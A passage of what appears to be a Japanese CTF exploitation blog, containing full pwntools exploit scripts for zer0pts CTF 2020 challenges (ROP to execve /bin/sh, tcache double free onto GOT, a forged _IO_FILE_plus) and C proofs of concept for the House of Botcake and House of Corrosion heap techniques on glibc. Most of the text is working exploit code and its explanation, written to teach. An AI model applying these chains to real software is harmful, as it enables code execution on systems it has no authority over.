    n1 = nums[0]
    nums = nums[1:]
    if len(nums) == 0:
      n2 = tmp
    else:
      n2 = nums[0]
      nums = nums[1:]

    if n2 != tmp:
      if n1//8 != n2//8:
        nums = [n2] + nums
        n2 = tmp
        #print("{} {} {}".format(n1//8,n1%8,n2))
        hoge(conn,target+(n1//8),n1%8,n2)
      else:
        #print("{} {} {}".format(n1//8,n1%8,n2%8))
        hoge(conn,target+(n1//8),n1%8,n2%8)
    else:
      #print("{} {} {}".format(n1//8,n1%8,n2))
      hoge(conn,target+(n1//8),n1%8,n2)



def exploit(conn):
  #got exit を start に
  hoge(conn,binf.got["exit"],4,5) # got_exit into start+6
  hoge(conn,binf.got["exit"],1,2) # got_exit into start

  ## start loop
  # stack_chk_fail into main
  fuga(conn,binf.got["__stack_chk_fail"],0x0676,0x07fa)
  # got[exit] to plt[stack_chk_fail]
  fuga(conn,binf.got["exit"],0x06e0,0x0670)

  ## main loop
  # got[setbuf] into puts
  fuga(conn,binf.got["setbuf"],0xf04d0,0xe89c0)
  # got[exit] into start
  fuga(conn,binf.got["exit"],0x70,0xe0)

  ## start loop
  # stderr into stderr+0x8
  fuga(conn,binf.symbols["stderr"],0x80,0x88)
  conn.recvuntil("Done!\n")
  conn.recvuntil("\n")
  libcbase = unpack(conn.recvuntil("\nI")[:-2].ljust(8,'\x00')) - 0x3ec703
  print("[+] libcbase: "+hex(libcbase))

################# 以降自由な世界 運が必要ないって素晴らしい ##################

  # got[exit] into plt[stack_chk_fail]+6
  hoge(conn,binf.got["exit"],4,7)
  # got[setbuf] into system
  fuga(conn,binf.got["setbuf"],libcbase + libc.symbols["puts"], libcbase + libc.symbols["system"])
  # stderr->flag into /bin/sh\x00
  fuga(conn,libcbase + libc.symbols["_IO_2_1_stderr_"],0xfbad2087,unpack("/bin/sh\x00"))
  # stderr into stderr
  fuga(conn,binf.symbols["stderr"],libcbase + libc.symbols["_IO_2_1_stderr_"]+8,libcbase + libc.symbols["_IO_2_1_stderr_"])

  # got[stack_chk_fail] into start
  fuga(conn,binf.got["exit"],binf.plt["__stack_chk_fail"],binf.symbols["_start"])

if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
  elif sys.argv[1][0]=="v":
    conn = remote(rhp3["host"],rhp3["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()

 

 

 

6: アウトロ

ルクセンブルクって

ル・クセンブルクなのか

ルクセンブル・クなのか分からないし、

ルクセンブルク大統領に至っては

ル・クセンブルク大統・領なのか

ル・クセンブル・ク大・統領なのかわかんないよな........

 

 

 

 

続く・・・

 

 

 

 

【pwn 28.0】 House of Botcake

keywords

House of Botcake / back-consolidation / heap-tech / libc2.29

 

 

1: イントロ

ある夜中に pwn の問題を作ろうとウトウトしながら過去のexploit手法を漁っていた

いくつか作りたい問題のアイディアこそ挙げていたのだが、その中にtcacheを題材としたものがあった

 

libc2.28 から tcache には新しく key というメンバが追加され、 free() されるとそこに tcache のアドレスが代入されるようになった

同時に free() の際には key の値をチェックし、もしこれがtcacheのアドレスと同一であった場合には double free としてエラーを吐くというような検知機構になっている

(厳密には key は free() 前にはユーザランドに存在し、 1/2^64 の確率で tcache のアドレスと一致してしまうため、仮に free() 時に偶然にも key==tcache となっていた場合には tcache のエントリを全探索して他のbinのような double free 検知を行うようにしてある。 キャッシュ効率を高める tcache の原理に反しているように思えるが、その再現確率の低さとtcacheの最大サイズが7であることによる全探索のコストの低さを考慮したものと思われる)

 

これ故に double free で chunk を tcache に繋げることは以前より難しくなっている

この機構をbypassする問題がなにか作れないかなぁと思い

モンスターを飲みながら、以前書いたブログの下書きである「既に使えなくなったpwn exploit一覧と現状」というエントリを見直していた

 

丁度 House of Einherjar を復習していた

これは _int_free() における back consolidation に於いて prev_size と PREV_INUSE を改変するというテクニックであるのは赤子から老人まで万人が知ることである

 

この back consolidation を利用して tcache 関連の問題を作れないかと考えて

深夜1時にアイディアを思いつき PoC を書いたところ

libc 2.29 環境下に於いて free済み chunk を tcache に繋ぎ

更にその fd を任意に書き換えることで AAW を実現することができた

 

 

こりゃあいいと思い、ブログを書く準備をしていたところ・・・

 

 

 

 

 

 

 

 

 

 

 

 

既出!

 

既出!!!!!

 

 

 

既出!!!!!!!!!!!

 

 

 

 

 

 

 

 

 

 

 

名前までご丁寧につけられていて House of Botcake と言うそうです

 

 

 

 

2: House of Botcake

 how2heap の commit 履歴に依ると、 2020年2月に公開された模様

 

できること

AAW

 

制約

・ 2種類のサイズの malloc()。 そのうち一つのサイズに対しては 9回 malloc() ができること

・ プログラムのロジック的に一度だけ double free が可能なこと

 

 

手法とPoC

 おそらく House of xxx 系では一番シンプルだと思われる

 

まずは PoC が以下の通り

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

#define WAIT while(fgetc(stdin)!='\n');
#define ull unsigned long long

ull ogs[3] = {0xc1710,0xdf202,0xdf20e};


int main(int argc,char *argv)
{
  // for the simplicity, let me gather some libc information
  ull libcbase = (ull)stdout -0x3b4760;
  ull malloc_hook = 0x3b3c30 + libcbase;

  // House of Botcake
  ull *a[7];
  for(int ix=0;ix!=7;++ix) //just to fulfill tcache
    a[ix] = malloc(0x90);
  ull *b = malloc(0x90); //invoke consolidation
  ull *c = malloc(0x90);
  ull *d = malloc(0x90); //avoid consolidation

  for(int ix=0;ix!=7;++ix)
    free(a[ix]);
  free(c);
  free(b); //invoke back-consolidation and overwrite c's key

  a[0] = malloc(0x90); // make space for c
  free(c); // connected to tcache. its key is no longer &tcache

  a[0] = malloc(0x120); // picked from unsortedbin and contains c in it
  *(ull*)(((ull)a[0]) + 0x90 + 0x10) = malloc_hook;

  a[1] = malloc(0x90);
  a[1] = malloc(0x90);
  *a[1] = (ull)(libcbase + ogs[0]);

  malloc(0x300); // invoke onegadget and get shell

  return 0;  
}

 

 殆どコメントに付してある通りである

 

 

まず最初にtcacheを満員にする用7つ、 back consolidation用2つ、 avoid consolidation用1つのchunkを確保しておく

 

その後7つのchunkを free() して tcache を満員にする

 

その後 C を free() すると、 これはunsortedに入るため bk (key) には main_arena のアドレスが入る

その後 B を free() すると、back consolidationが起こり BとC が合体する

 

この際 C のメタ情報は消去されずに、 大きな chunk に包含されるかたちで取り残される

この取り残された C に対して再び malloc() をしてやると

key のチェックでは入っている値が &tcache ではなく &main_arena であるから double free の検知には引っかからず C は tcache に繋がれることになる

 

しかも、その後任意のサイズ(>0x90)の malloc() をすることで B+C の unsorted から chunk が切り出されるのだが

それにより C の fd を任意の値に書き換えることができて AAW となる

 

 

 

 

 

実際に PoC を動かしてみると

 

f:id:smallkirby:20200318042608p:plain

tcache に繋がっているのは 0x555555757760 の chunk であるが

 

f:id:smallkirby:20200318042709p:plain

これは 0x5555557576b0 の chunk(=B+C) に包含されていることが分かる

 

 

手元の環境では __malloc_hook overwrite で onegadget に飛ばせることを確認した

 

 

 

 

 

3: アウトロ

 自分のアイディアなんて5億年前に誰かが既にやっとる

 

 

 

 

 

 

 

 

 

続く

 

 

 

 

 

 

 

 

 

 

【pwn 24.0】 zer0pts CTF 2020 writeup (に満たない何か)

 

keywords

forge _IO_FILE_plus / type confusion / FSA / ret to ret to avoid movaps

 

 

 

 

1: イントロ

 いつぞや開催された zer0pts CTF 2020 にチーム TSG として参加した

チームでは 8847点 を取り、 そのうち自分は 1382点 を解いて全体で 12位だった

 

f:id:smallkirby:20200309090754p:plain

 

 

pwn中心のCTFなのにもっと得点源になれないのはカスすぎますね

少しでもチームの得点に貢献できる日はいつになるのやら

 

 

 

 

2: hipwn

 やるだけ太郎

 

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./chall"

rhp1 =  {"host":"13.231.207.73","port":9010}
rhp2 = {'host':"localhost",'port':12300}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)

int3_gad = 0x0040088c
syscall_gad = 0x004024dd
pop_rax_gad = 0x00400121
pop_rdi_gad = 0x0040141c
pop_rdx_gad = 0x004023f5
pop_rbx_gad = 0x0040019b
pop_rsi_r15_gad = 0x0040141a

def exploit(conn):
  conn.recvuntil("name?\n")
  pay = "/bin/sh\x00"
  pay += "A" * (0x108 - len(pay) - len("/bin/sh\x00"))

  pay += "/bin/sh\x00"
  pay += p64(pop_rax_gad)
  pay += p64(59)
  pay += p64(pop_rdi_gad)
  pay += p64(0x604268)
  pay += p64(pop_rsi_r15_gad)
  pay += p64(0)
  pay += p64(0)
  pay += p64(pop_rdx_gad)
  pay += p64(0)
  pay += p64(syscall_gad)
  
  conn.sendline(pay)


if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()

 

結果 

f:id:smallkirby:20200309052915p:plain

 

 

3: diylist

 値を格納又は読み出しする際に、型を指定することができる

char* 型としてアロケートしたときのみmalloc()される

 

char* として allocate した後に

long として GOT のアドレスを書き込み

それを char* として読み出しすると、 libc関数のアドレスがリークできる

 

また delete する際には、値が pool に入っているもののみを char* 型としてfree()する + free() したあとも pool からその値が削除されないという仕様になっている

よって、アロケートしたchunkのアドレスをリークした後

long 型として chunk を複数アロケートして、リークしたアドレスの値を書き込み

それを delete することで容易にtcacheのdouble freeが起こる

尚、 libc は与えられていないが多分libc2.27だろうというメタ的推測をつけた (ha?)

(tcache の double free 検知は2.27にはない)

 

exploitは以下の通り

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./chall"

rhp1 = {"host":"13.231.207.73","port": 9007}
rhp2 = {'host':"localhost",'port':12300}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)

def hoge(conn,ix):
  conn.recvuntil("> ")
  conn.sendline(str(ix))

def _add(conn,ty,data):
  hoge(conn,1)
  conn.recvuntil(": ")
  conn.sendline(str(ty))
  conn.recvuntil("Data: ")
  if ty==1 or ty==2:
    conn.sendline(str(data))
  else:
    conn.send(data)

def _get(conn,ix,ty):
  hoge(conn,2)
  conn.recvuntil("Index: ")
  conn.sendline(str(ix))
  conn.recvuntil(": ")
  conn.sendline(str(ty))
  conn.recvuntil("Data: ")
  return conn.recvline().rstrip()

def _edit(conn,ix,ty,data):
  hoge(conn,3)
  conn.recvuntil("Index: ")
  conn.sendline(str(ix))
  conn.recvuntil(": ")
  conn.sendline(str(ty))
  conn.recvuntil("Data: ")
  if ty==1 or ty==2:
    conn.sendline(str(data))
  else:
    conn.send(data)

def _del(conn,ix):
  hoge(conn,4)
  conn.recvuntil("Index: ")
  conn.sendline(str(ix))
  if "Success" not in conn.recvline():
    raw_input("[!] delete failed. enter to continue:")
  else:
    print("[-]successfully deleted")

off_puts = 0x809c0
off_strchr = 0x9d7c0
off_printf = 0x64e80
off_atol = 0x406a0
onegadgets = [0x4f2c5,0x4f322,0x10a38c]

target = "puts"

def exploit(conn):
  #leak libc
  _add(conn,3,"D"*8)
  print("[*]puts got: "+hex(binf.got[target]))
  _edit(conn,0,1,binf.got[target])
  puts_addr = unpack(_get(conn,0,3).ljust(8,'\x00'))
  libcbase = puts_addr - off_puts
  one1 = libcbase + onegadgets[2]
  print("[+]puts: "+hex(puts_addr))
  print("[+]libc base: "+hex(libcbase))
  print("[+]onegadget: "+hex(one1))
  
  #alloc chunk and avoid from freeing by changing the value different from the addr in the pool
  _add(conn,3,"A"*8)
  str_addr1 = int(_get(conn,1,1))
  print("[+]addr: "+hex(str_addr1))
  _edit(conn,1,1,0xdeadbeef)

  #double free the tcache
  _add(conn,1,str_addr1)
  _del(conn,2)
  _add(conn,1,str_addr1)
  _del(conn,2)
  
  #overwrite fd of tcache and write onegadget's addr on GOT of puts
  _add(conn,3,p64(binf.got["puts"]))
  _add(conn,3,p64(0xdeadbeef))
  _add(conn,3,p64(one1))


if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()

 

結果

f:id:smallkirby:20200309055033p:plain

 

 

4: grimoire

セキュリティ機構とlibc ver

f:id:smallkirby:20200309060036p:plain

 

 まず第一に filepath を書き換えることで任意ファイルの読み込みは可能である

但し、フラグファイル名の推測がつかないため、不採用

f:id:smallkirby:20200309055409p:plain

overwrite filepath

f:id:smallkirby:20200309055425p:plain

it's impossible to guess it fuck

 

あー眠い

 

まず、 filepath が見当たらない際の error() に於いて FSA ができる

これによって、 textbase と libcbase の両方がリークできる

 

また、fp も自由に書き換えられるためfake _IO_FILE_plusを作る

但し libc 2.27 では _IO_vtable_check() が走ることに注意

今回は、 abortの際に _IO_str_jumps の中の _IO_str_overflow が呼ばれるようにvtableを書き換え

その中で呼ばれる _s._allocate_buffer で PC を取ることにした

 

但し、今回は運悪く movaps に引っかかったため

一度 call rsi gadget を挟んでおくことにした

rsi には _IO_write_baseだかendだかが入るため、ここに予めonegadgetの値を入れておく

f:id:smallkirby:20200309063646p:plain

とりあえず貼っとこ

 

 

結局攻撃のフローは以下のようになった

f:id:smallkirby:20200309063413p:plain

なにこの世界一意味のない図???

 

exploitは以下の通り

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./chall"

rhp1 = {"host":"13.231.207.73","port":9008}
rhp2 = {'host':"localhost",'port':12300}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)

def hoge(conn,ix):
  conn.recvuntil("> ")
  conn.sendline(str(ix))

def _open(conn):
  hoge(conn,1)

def _read(conn):
  hoge(conn,2)
  conn.recvuntil("--*\n")
  return conn.recvuntil("*")[:-1]

def _revise(conn,off,text):
  hoge(conn,3)
  conn.recvuntil("Offset: ")
  conn.sendline(str(off))
  conn.recvuntil("Text: ")
  conn.send(text)
  
def _close(conn):
  hoge(conn,4)  

original_len = 370
margin = 0x90-2 #オリジナルのtextの末尾とfpとのオフセット
off_dlmap = 0x400031
off_grimoire_open = 0x1045
off_libc_scu_init = 0xab63d08690
off_libc_start_main231 = 0x21b97
off_main = 0x1478

ogs = [0x4f2c5,0x4f322,0x10a38c]

def exploit(conn):
  #leak libcbase and textbase
  _open(conn)
  _read(conn)
  _revise(conn,370,"A"*margin)
  fp =  unpack(_read(conn).split("A"*margin)[1].ljust(8,'\x00'))
  print("[*]fp: "+hex(fp))
    ##make it possible to fopen with init==1 by forcing fp=0
  _revise(conn,370,"A"*margin + p64(0) + "B"*0x18 + "%13$p:%14$p:%22$p\x00")

  _open(conn) #invoke error and do FSA
  data = conn.recvline().split(": No such")[0]
  textbase = int(data.split(":")[1],16) - off_grimoire_open
  libcbase = int(data.split(":")[2],16) - off_libc_start_main231
  addr_text = textbase + 0x202060
  print("[!]libcbase: "+hex(libcbase))
  print("[!]textbase: "+hex(textbase))
  print("[*]addr text: "+hex(addr_text))


  #forged fake _IO_FILE_plus
  magic = 0x40
  hoge = p64(0x0) #should be
  hoge += p64(0x000055ce789cf603)
  hoge += p64(0x000055ce789cf603)
  hoge += p64(0x0)
  hoge += p64(0x0)
  hoge += p64(libcbase + ogs[0]) #rdi
  hoge += p64(libcbase + ogs[0]) #rsi
  hoge += p64(0x0) #_IO_buf_base
  hoge += p64(0x700) #_IO_buf_end
  hoge += p64(0)*4
  hoge += p64(libcbase + 0x3ec680) #chain
  hoge += p64(0x0000000000000005)
  hoge += p64(0)*2
  hoge += p64(libcbase + 0x3ed8b0)
  hoge += p64(0x0000000000000173)
  hoge += p64(0)
  hoge += p64(libcbase + 0x3ed8b0) #lock
  hoge += p64(0)*6
  hoge += p64(libcbase + 0x3e8340 + 0x28) #_IO_str_jumps with little zure
  
  hoge += p64(libcbase + 0x00022e91) #_s._allocate_buffer == call rsi gadget
  hoge += "A"*(0x200 - magic -len(hoge)) + p64(addr_text + magic) + p64(0)*3 + "grimoire.txt"
  _revise(conn,magic,hoge)
  raw_input()

  _close(conn)

if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()

 

結果

 

f:id:smallkirby:20200309063616p:plain

 

 

5: babybof / protrude

チームの人が解いてくれました、凄い

 

6: syscall kit

解けなかった

 

気づきとしては

・brkは libc の wrapper じゃなくてシスコールの場合アドレスを返すということ

・xxx64 とか openat2 みたいな、seccompされてないしスコール使えないんかな

・send とか そのへん使えないんかな

・ソケット通信...?

 

バイナリ自体になんか欠陥があるだとか、C++固有のexploitだとかだったら、もう完敗。乾杯

 

 

7: wget

 チームの人が、 location 2回書いて multiple free させて libc leakまではいった

けど、自分的にデバッグ環境整えるの面倒でやれなかった

 

 

8: meowmow

 kernel問題解いたことなさ過ぎて、モジュールのソース軽く見ただけで、放置してた

grimoireでhardならmediumのこの問題、意外といけたのか???

 

 

9: Survey

ptr-yudai san, バケモンか???

 

 

10: アウトロ

pwn問題はとてもとても面白かったです

(全完勢がいたこととジャンルに偏りがあったのはご愛嬌)

 

 時間内に解けなかったpwn問題は後で必ず全部解いて復習する

 

 

 

 

よくよく考えると

CTFに参加して、楽しい気分で終わったことがないな

問題解けた時のドーパミンは終了時までもたないし、最後は必ず解けてない問題を諦めて終わることになる

 

ということで、もうCTFはしません

 

 

 

 

 

続く

続かない

 

 

 

 

 

 

 

 

 

【pwn 21.0】House of Corrosion : 使えればいいじゃんな覚書

keywords

House of Corrosion / totally leakless exploit / global_max_fast / relative overwrite via fastbinsY / glibc2.27 / step by step heap-tech

 

 

0: 参考

【A】 本家

github.com

 

【B】ptr-yudaiさんの日本語解説記事

ptr-yudai.hatenablog.com

 

【C】FileExploitationについて

dhavalkapil.com

 

 

1: イントロ

House of Corrosion (以下HoC)は2019年1月25日に CptGibbon 氏によって発表された heap exploitation 手法である
自分の確認できる範囲で解説記事は
  【A】本家の詳細な解説英語記事
  【B】ptr-yudaiさんのCTF形式のPoC付き日本語解説記事
の2つだけであった

本エントリではhow2heap形式のPoCを軸として解説を進めていく


尚、本エントリは _int_malloc()/ _int_free()/ malloc_consolidation()/ unlink 等のmalloc.cの内容をを理解していることを前提としている

 

 

2: 概要

HoC でできることを概観する

できること

  • Advantage1: 任意の8byte-aligned高位アドレスに巨大な値を書き込む
  • Advantage2: 任意の8byte-aligned高位アドレスに任意の値を書き込む
  • Advantage3: 任意の8byte-aligned高位アドレスにある値を任意の8byte-aligned高位アドレスに対して書き写す
  • これらの書き込み/読み込みを、オフセットのみ既知のlibcシンボルに対して行うことができる
  • 以上を踏まえて、一切のアドレスリーク無しに4bit-bruteforceのみでシェルを取ること

制約

  • UAFがあること
  • 任意サイズのmallc()が任意回数行えること

 

 

やはり一番の特徴はアドレスリークが不要なことであろう
詳しくは後述するが、これは main_arena中のfastbinsY を中心にしてexploitをするから可能なことである

尚これも理由は後述するが、 ここでいう「高位(higher)」アドレスとは fastbinsY よりも高位のアドレスを意味する

 

 

 

3: 3つのAdvantage

HoC では1つの準備によって3つの利点が生じる
以下ではその準備と、3つの利点をPoC付きで説明していく

 

準備

fastbins に入る最大サイズは global_max_fast (以下gmf) の値によって決まる (デフォルトで 0x80)
このsize以下で tcaching されないchunkは、free()されると main_arena 中の fastbinsY (type: mfastbinptr (*)[10]) に格納されることになる

fastbinsY にはsize:0x20以上のエントリが0x10byte毎に格納される
FIFO方式であるから、free()されると該当のfastbinsYエントリにはfreeした chunk のアドレスが、freeしたchunkの fd にはfastbinsYのアドレスが書き込まれることになる
https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L4231

HoC ではこのgmfを大きな値に書き換えることによって、任意sizeのchunkをこのfastbinsに入れられるようにすることを準備とする

 

gmf 書き換えには unsortedbin attack を用いる
ただの unsortedbin attack ゆえ、以下で軽く説明するだけに留める


free() 時に gmf 以上のsizeをもつ chunk は unsortedbin に繋がれる
この unsortedbin は main_arena->bins (type: (mchunkptr ()[254])*) の [0,1] に実体を持ち、main_arenaの先頭からのオフセットは0x70である

f:id:smallkirby:20200224205406p:plain

 

よって freed chunk の bk には main_arena+0x70のアドレスが入ることになる
このアドレスと gmf は下4nibbleを除いて同じである
また、libcbaseの下3nibbleは必ず0x000であるためこれは既知の値となる
故にgmfのアドレスは第4nibble目の 4bit のエントロピーを持ち、十分にunsortedbin attackでbruteforce可能であると言える
即ち、 main_arena+0x70 の下2byte(内4nibble目は総当り) を書き換えることで、次のmalloc()時に凡そ1/16の確率で gmf を main_arena+0x70の値で上書きすることができる


以上を unsortedbin attack の説明とする

 

Advantage1: 任意の8byte-aligned高位アドレスに巨大な値を書き込む

これで fastbins に任意サイズのchunkが入るようになった
上に述べたような fastbinsY へのアドレスの書き込みによって、任意の8byte-alignedアドレスに巨大な値(heapのアドレス)を書き込めるようになることが分かるであろう
その際には、目的のアドレスに書き込まれるように malloc() するサイズを調整しなければならないのだが
これは以下の公式で計算できる

size=(distance2)+0x20size = (distance * 2) + 0x20\\

ここで distance mfastbinsY と 目的のアドレスのオフセットである

さて、このAdvantage1の PoC が以下である
尚、本来この unsortedbin attacok は4bitのエントロピーを持つのだが
いちいち try&error をするのが面倒なため、PoCでは予め用意したアドレスをもとに100%成功するようにしている
本エントリの目的がHoCを理解することであるため、煩わしい部分は省略していく
但し、DEBUGマクロを外すことで実際のシチュエーションと同じようにアドレス未知の状態で実行できるようにもしている

 

//Advantage1: Write a huge value to almost arbitrary 8byte-aligned higher addr

#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
#include<string.h>

typedef unsigned long long ull;

#define DEBUG 0
#define WAIT while(fgetc(stdin)!='\n');

ull *LSBs_gmf = 0x6940; //LSByte of global_max_fast. Third nibble has 4bit entropy
ull *off_gmf_libcbase = 0x3ed940; //offset between global_max_fast & libcbase
ull *off_stdout_libcbase = 0x3ec760; //offset between stdout & libcbase
ull *off_arena_libcbase = 0x3ebc40; //offset between main_arena & libcbase

unsigned size_formula(unsigned long delta){
  return (unsigned)(delta*2 + 0x20);
}

int main(int argc, char *argv[])
{
  WAIT

  // calc and get some addrs
  char num;
  ull *addr_stdout = stdout;
  ull *libcbase = (ull)addr_stdout - (ull)off_stdout_libcbase;
  ull *addr_gmf = (ull)off_gmf_libcbase + (ull)libcbase;
  ull *addr_main_arena = (ull)libcbase + (ull)off_arena_libcbase;
  ull *addr_fastbinY = (ull)addr_main_arena + 0x10;
  ull size_stderr = size_formula((ull)stderr - (ull)addr_fastbinY - 0x8);
  ull *attack;
  ull *target = 0;
  ull temp;
  ull *temp_ptrs[10];
  printf("Advantage 1\n");
  printf("_________________________\n\n");
  printf("* unsortedbin attack *\n");
  printf("[+]&global_max_fast: %p\n",addr_gmf);

  // alloc some chunks (0x30 for avoiding consolidation)
  unsigned long *a = malloc(0x450); //for unsortedbin attack
  malloc(0x30);
  unsigned long *a2 = malloc(0x450);
  malloc(0x30);
  unsigned long *a3 = malloc(0x450);
  malloc(0x30);

  // prepare for Advantage 1
  printf("[+]global_max_fast: 0x%llx\n",*addr_gmf);
  attack = malloc(size_stderr);
  free(a); //connect to unsortedbin

  //overwrite the 2nibble of unsortedbin's bk with global_max_fast's address
#ifndef DEBUG
  for(int ix=0;ix!=2;++ix){ //victim->bk
    temp = (unsigned long long)LSBs_gmf >> (8*ix);
    num = temp % 0x100;
    if(ix==0)
      num -= 0x10;
    *(char*)((unsigned long long)a+8+ix) = num;
  }
#else
  for(int ix=0;ix!=8;++ix){ //cheat for the simplicity
    temp = (ull)addr_gmf >> (8*ix);
    num = temp % 0x100;
    if(ix==0)
      num -= 0x10;
    *(char*)((ull)a+8+ix) = num;
  }
#endif

  //unsorted bin attack:
  printf("[*]unsortedbin attack...\n"); 
  malloc(0x450);
  printf("[+]global_max_fast: 0x%llx\n",*addr_gmf);
  
  //check whether the unsorted attack is success or not
  if(*addr_gmf != (ull)addr_main_arena+0x60){
    printf("\n\n[-]FAIL: unsortedbin attack\n");
    exit(0);
  }else{
    printf("\n[!]SUCCESS: unsortedbin attack\n");
  }


  /**Advantage 1: Overwrite almost arbitrary addr with chunk addr**/
  printf("\n* Advantage 1 *\n");
  printf("[+]Target address: %p (stderr)\n",stderr);
  printf("[+]stderr: %llx\n",*(ull*)stderr);
  if((ull)size_stderr <= 0x408){ // if the size is small enough for tcaching
    for(int ix=0;ix!=7;++ix){ //consume tcache
      temp_ptrs[ix] = malloc(size_stderr);
    }
    for(int ix=0;ix!=7;++ix){
      free(temp_ptrs[size_stderr]);
    }
  }
  printf("[*]attack...\n");
  free(attack);

  printf("[!]stderr: %llx\n",*(ull*)stderr);

  printf("\n\nCan you understand? Debug by yourself now.\n");
  //debugging time
  WAIT

  return 0;
}

 

今回は target を stderr とした
実行すると以下のようになる

f:id:smallkirby:20200224205437p:plain



 

stderr が heap のアドレスで上書きされていることが分かるであろう

 

Advantage2: 任意の8byte-aligned高位アドレスに任意の値を書き込む

Advantage1では書き込める値が heap のアドレスに限定されていたが
freed chunk の fd をUAF等を利用して任意の値に書き変え
その後でもう一度同じサイズのmalloc()をすることで、下図のように任意の値をtargetに書き込めるようになる

f:id:smallkirby:20200224205457p:plain



 

以下のPoCでは、 target を stderr 、書き込む値を0xDEADBEEFCAFEBABEとしている

//Advantage2: Write arbitrary value to almost arbitrary 8byte-aligned higher addr
#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
#include<string.h>

typedef unsigned long long ull;

#define DEBUG 0
#define WAIT while(fgetc(stdin)!='\n');

ull *LSBs_gmf = 0x6940; //LSByte of global_max_fast. Third nibble has 4bit entropy
ull *off_gmf_libcbase = 0x3ed940; //offset between global_max_fast & libcbase
ull *off_stdout_libcbase = 0x3ec760; //offset between stdout & libcbase
ull *off_arena_libcbase = 0x3ebc40; //offset between main_arena & libcbase

unsigned size_formula(unsigned long delta){
  return (unsigned)(delta*2 + 0x20);
}

int main(int argc, char *argv[])
{
  WAIT

  // calc and get some addrs
  char num;
  ull *addr_stdout = stdout;
  ull *libcbase = (ull)addr_stdout - (ull)off_stdout_libcbase;
  ull *addr_gmf = (ull)off_gmf_libcbase + (ull)libcbase;
  ull *addr_main_arena = (ull)libcbase + (ull)off_arena_libcbase;
  ull *addr_fastbinY = (ull)addr_main_arena + 0x10;
  ull size_stderr = size_formula((ull)stderr - (ull)addr_fastbinY - 0x8);
  ull *attack;
  ull *target = 0;
  ull temp;
  ull *temp_ptrs[10];
  printf("Advantage 2\n");
  printf("_________________________\n\n");
  printf("* unsortedbin attack *\n");
  printf("[+]&global_max_fast: %p\n",addr_gmf);

  // alloc some chunks (0x30 for avoiding consolidation)
  unsigned long *a = malloc(0x450); //for unsortedbin attack
  malloc(0x30);
  unsigned long *a2 = malloc(0x450);
  malloc(0x30);
  unsigned long *a3 = malloc(0x450);
  malloc(0x30);

  // prepare for Advantage 1
  printf("[+]global_max_fast: 0x%llx\n",*addr_gmf);
  attack = malloc(size_stderr);
  free(a); //connect to unsortedbin

  //overwrite the 2nibble of unsortedbin's bk with global_max_fast's address
#ifndef DEBUG
  for(int ix=0;ix!=2;++ix){ //victim->bk
    temp = (unsigned long long)LSBs_gmf >> (8*ix);
    num = temp % 0x100;
    if(ix==0)
      num -= 0x10;
    *(char*)((unsigned long long)a+8+ix) = num;
  }
#else
  for(int ix=0;ix!=8;++ix){ //cheat for the simplicity
    temp = (ull)addr_gmf >> (8*ix);
    num = temp % 0x100;
    if(ix==0)
      num -= 0x10;
    *(char*)((ull)a+8+ix) = num;
  }
#endif

  //unsorted bin attack:
  printf("[*]unsortedbin attack...\n"); 
  malloc(0x450);
  printf("[+]global_max_fast: 0x%llx\n",*addr_gmf);
  
  //check whether the unsorted attack is success or not
  if(*addr_gmf != (ull)addr_main_arena+0x60){
    printf("\n\n[-]FAIL: unsortedbin attack\n");
    exit(0);
  }else{
    printf("\n[!]SUCCESS: unsortedbin attack\n");
  }


  /**Advantage 2: Overwrite almost arbitrary addr with arbitrary addr**/
  printf("\n* Advantage 2 *\n");
  printf("[+]Target address: %p (stderr)\n",stderr);
  printf("[+]stderr: %llx\n",*(ull*)stderr);
  if((ull)size_stderr <= 0x408){ // if the size is small enough for tcaching
    for(int ix=0;ix!=7;++ix){ //consume tcache
      temp_ptrs[ix] = malloc(size_stderr);
    }
    for(int ix=0;ix!=7;++ix){
      free(temp_ptrs[size_stderr]);
    }
  }
  printf("[*]attack1...\n");
  free(attack);
  printf("[!]stderr: %llx\n",*(ull*)stderr);

  printf("[*]attack2...\n");
  attack[0] = 0xdeadbeefcafebabe;
  malloc(size_stderr);
  printf("[!]stderr: %llx\n",*(ull*)stderr);

  printf("\n\nCan you understand? Debug by yourself now.\n");
  //debugging time
  WAIT

  return 0;
}

 

実行すると以下のようになる

f:id:smallkirby:20200224205518p:plain

 

stderr が0xDEADBEEFCAFEBABEで書き換えられていることが分かるであろう

 

Advantage3: 任意の8byte-aligned高位アドレスの値を任意の8byte-aligned高位アドレスに書き写す

Advantage3では任意のアドレスから値を任意のアドレスに対して書き写す(transplantation)ができる
ここでは値を持ってくるアドレスを SRC, そこにある値を VALUE, 値を書き込む先のアドレスを DSTとする

まずAdvantage1 でDST に入るようなサイズの2つのchunk A,Bを用意する
ここでA,Bは下位1byteを除いて同じアドレスに位置するくらい近くに置かなくてはならない
